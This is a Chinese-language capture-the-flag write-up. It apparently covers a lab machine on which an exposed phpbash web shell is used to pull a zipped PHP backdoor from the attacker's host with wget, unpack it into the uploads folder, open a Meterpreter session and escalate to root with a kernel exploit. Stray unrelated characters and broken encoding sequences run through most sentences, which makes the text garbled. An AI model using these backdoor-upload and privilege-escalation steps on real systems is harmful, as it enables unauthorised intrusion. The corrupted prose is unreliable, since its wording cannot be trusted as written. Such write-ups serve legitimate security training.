信息收集
image.png
開了80端口它抱，瀏覽器打開看看
image.png
一個叫phpbash的軟件秕豫，網(wǎng)站找了一圈好像沒有啥可以利用的東西。
目錄爆破看看：
image.png
打開dev目錄观蓄，發(fā)現(xiàn)兩個文件
image.png
打開phpbash.php混移，發(fā)現(xiàn)是一個shell
image.png
攻擊
因為可以執(zhí)行任意shell，那就可以上傳任意文件通過msf拿到meterpreter侮穿，生成一個木馬歌径，在本地開一個http服務，通過wget的方式從目標機器拉取本地的后門文件亲茅。
需要注意的是回铛，不能直接拉取本地的php文件，必須在本地打包以后再拉取芯急，我在這里就傻了勺届，搞了半天驶俊。娶耍。。
另外饼酿，dev目錄是沒有寫權(quán)限的榕酒，需要在uploads文件夾操作
最近知道m(xù)sf里有一個中國菜刀的模塊，于是決定用一下故俐。
寫一句話木馬：
image.png
執(zhí)行打包：
zip caidao.zip caidao.php
本地開啟apache：
service apache2 start
在網(wǎng)頁shell拉取
wget -P /var/www/html/uploads http://10.10.14.20/caidao.zip
解壓：
unzip /var/www/html/uploads/caidao.zip -d /var/www/html/uploads/caidao
image.png
拿到meterpreter：
image.png
提權(quán)
查看系統(tǒng)版本
image.png
根據(jù)內(nèi)核版本找了一圈想鹰，最后在這篇文章提到的方法里找到了一個提權(quán)腳本。
編譯药版，上傳辑舷，執(zhí)行
image.png
拿到root權(quán)限和flag
